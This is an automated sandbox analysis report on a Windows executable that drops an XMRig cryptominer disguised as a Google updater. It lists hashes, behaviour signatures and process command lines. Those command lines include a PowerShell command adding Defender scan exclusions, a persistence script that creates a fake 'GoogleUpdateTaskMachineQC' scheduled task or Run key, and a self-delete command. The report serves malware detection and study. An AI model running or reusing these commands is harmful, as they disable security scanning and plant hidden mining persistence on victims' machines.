Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1798s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3080 created 3552 3080 UU4Ddwqm5zcuLzGR.exe 48 PID 3080 created 3552 3080 UU4Ddwqm5zcuLzGR.exe 48 PID 3080 created 3552 3080 UU4Ddwqm5zcuLzGR.exe 48 PID 3080 created 3552 3080 UU4Ddwqm5zcuLzGR.exe 48 PID 4016 created 3552 4016 updater.exe 48 PID 4016 created 3552 4016 updater.exe 48 PID 4016 created 3552 4016 updater.exe 48 PID 4016 created 3552 4016 updater.exe 48 PID 2496 created 3552 2496 conhost.exe 48 PID 4016 created 3552 4016 updater.exe 48 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral26/memory/3916-129-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-133-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-135-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-139-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-141-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-143-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-145-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-147-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-149-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-151-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-153-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-155-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-157-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-159-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-161-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-163-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-165-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-167-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-169-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-171-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-173-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-175-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-177-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-179-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-181-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-183-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-185-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-187-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig behavioral26/memory/3916-189-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4016 updater.exe -
resource yara_rule behavioral26/memory/3916-125-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-129-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-133-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-135-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-139-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-141-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-143-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-145-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-147-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-149-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-151-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-153-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-155-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-157-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-159-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-161-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-163-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-165-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-167-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-169-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-171-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-173-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-175-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-177-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-179-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-181-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-183-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-185-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-187-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx behavioral26/memory/3916-189-0x00007FF7BBB00000-0x00007FF7BC2F4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4016 set thread context of 2496 4016 updater.exe 116 PID 4016 set thread context of 3916 4016 updater.exe 111 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe UU4Ddwqm5zcuLzGR.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2224 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3080 UU4Ddwqm5zcuLzGR.exe 3080 UU4Ddwqm5zcuLzGR.exe 540 powershell.exe 540 powershell.exe 3080 UU4Ddwqm5zcuLzGR.exe 3080 UU4Ddwqm5zcuLzGR.exe 4976 powershell.exe 4976 powershell.exe 3080 UU4Ddwqm5zcuLzGR.exe 3080 UU4Ddwqm5zcuLzGR.exe 3080 UU4Ddwqm5zcuLzGR.exe 3080 UU4Ddwqm5zcuLzGR.exe 4056 powershell.exe 4056 powershell.exe 4016 updater.exe 4016 updater.exe 60 powershell.exe 60 powershell.exe 4016 updater.exe 4016 updater.exe 3676 powershell.exe 3676 powershell.exe 4016 updater.exe 4016 updater.exe 4016 updater.exe 4016 updater.exe 2496 conhost.exe 2496 conhost.exe 4016 updater.exe 4016 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 680 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 540 powershell.exe Token: SeDebugPrivilege 4976 powershell.exe Token: SeIncreaseQuotaPrivilege 4976 powershell.exe Token: SeSecurityPrivilege 4976 powershell.exe Token: SeTakeOwnershipPrivilege 4976 powershell.exe Token: SeLoadDriverPrivilege 4976 powershell.exe Token: SeSystemProfilePrivilege 4976 powershell.exe Token: SeSystemtimePrivilege 4976 powershell.exe Token: SeProfSingleProcessPrivilege 4976 powershell.exe Token: SeIncBasePriorityPrivilege 4976 powershell.exe Token: SeCreatePagefilePrivilege 4976 powershell.exe Token: SeBackupPrivilege 4976 powershell.exe Token: SeRestorePrivilege 4976 powershell.exe Token: SeShutdownPrivilege 4976 powershell.exe Token: SeDebugPrivilege 4976 powershell.exe Token: SeSystemEnvironmentPrivilege 4976 powershell.exe Token: SeRemoteShutdownPrivilege 4976 powershell.exe Token: SeUndockPrivilege 4976 powershell.exe Token: SeManageVolumePrivilege 4976 powershell.exe Token: 33 4976 powershell.exe Token: 34 4976 powershell.exe Token: 35 4976 powershell.exe Token: 36 4976 powershell.exe Token: SeIncreaseQuotaPrivilege 4976 powershell.exe Token: SeSecurityPrivilege 4976 powershell.exe Token: SeTakeOwnershipPrivilege 4976 powershell.exe Token: SeLoadDriverPrivilege 4976 powershell.exe Token: SeSystemProfilePrivilege 4976 powershell.exe Token: SeSystemtimePrivilege 4976 powershell.exe Token: SeProfSingleProcessPrivilege 4976 powershell.exe Token: SeIncBasePriorityPrivilege 4976 powershell.exe Token: SeCreatePagefilePrivilege 4976 powershell.exe Token: SeBackupPrivilege 4976 powershell.exe Token: SeRestorePrivilege 4976 powershell.exe Token: SeShutdownPrivilege 4976 powershell.exe Token: SeDebugPrivilege 4976 powershell.exe Token: SeSystemEnvironmentPrivilege 4976 powershell.exe Token: SeRemoteShutdownPrivilege 4976 powershell.exe Token: SeUndockPrivilege 4976 powershell.exe Token: SeManageVolumePrivilege 4976 powershell.exe Token: 33 4976 powershell.exe Token: 34 4976 powershell.exe Token: 35 4976 powershell.exe Token: 36 4976 powershell.exe Token: SeIncreaseQuotaPrivilege 4976 powershell.exe Token: SeSecurityPrivilege 4976 powershell.exe Token: SeTakeOwnershipPrivilege 4976 powershell.exe Token: SeLoadDriverPrivilege 4976 powershell.exe Token: SeSystemProfilePrivilege 4976 powershell.exe Token: SeSystemtimePrivilege 4976 powershell.exe Token: SeProfSingleProcessPrivilege 4976 powershell.exe Token: SeIncBasePriorityPrivilege 4976 powershell.exe Token: SeCreatePagefilePrivilege 4976 powershell.exe Token: SeBackupPrivilege 4976 powershell.exe Token: SeRestorePrivilege 4976 powershell.exe Token: SeShutdownPrivilege 4976 powershell.exe Token: SeDebugPrivilege 4976 powershell.exe Token: SeSystemEnvironmentPrivilege 4976 powershell.exe Token: SeRemoteShutdownPrivilege 4976 powershell.exe Token: SeUndockPrivilege 4976 powershell.exe Token: SeManageVolumePrivilege 4976 powershell.exe Token: 33 4976 powershell.exe Token: 34 4976 powershell.exe Token: 35 4976 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2308 wrote to memory of 396 2308 cmd.exe 99 PID 2308 wrote to memory of 396 2308 cmd.exe 99 PID 4056 wrote to memory of 920 4056 powershell.exe 100 PID 4056 wrote to memory of 920 4056 powershell.exe 100 PID 4016 wrote to memory of 2496 4016 updater.exe 116 PID 4392 wrote to memory of 2224 4392 cmd.exe 112 PID 4392 wrote to memory of 2224 4392 cmd.exe 112 PID 4016 wrote to memory of 3916 4016 updater.exe 111 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3552
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4976
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:60
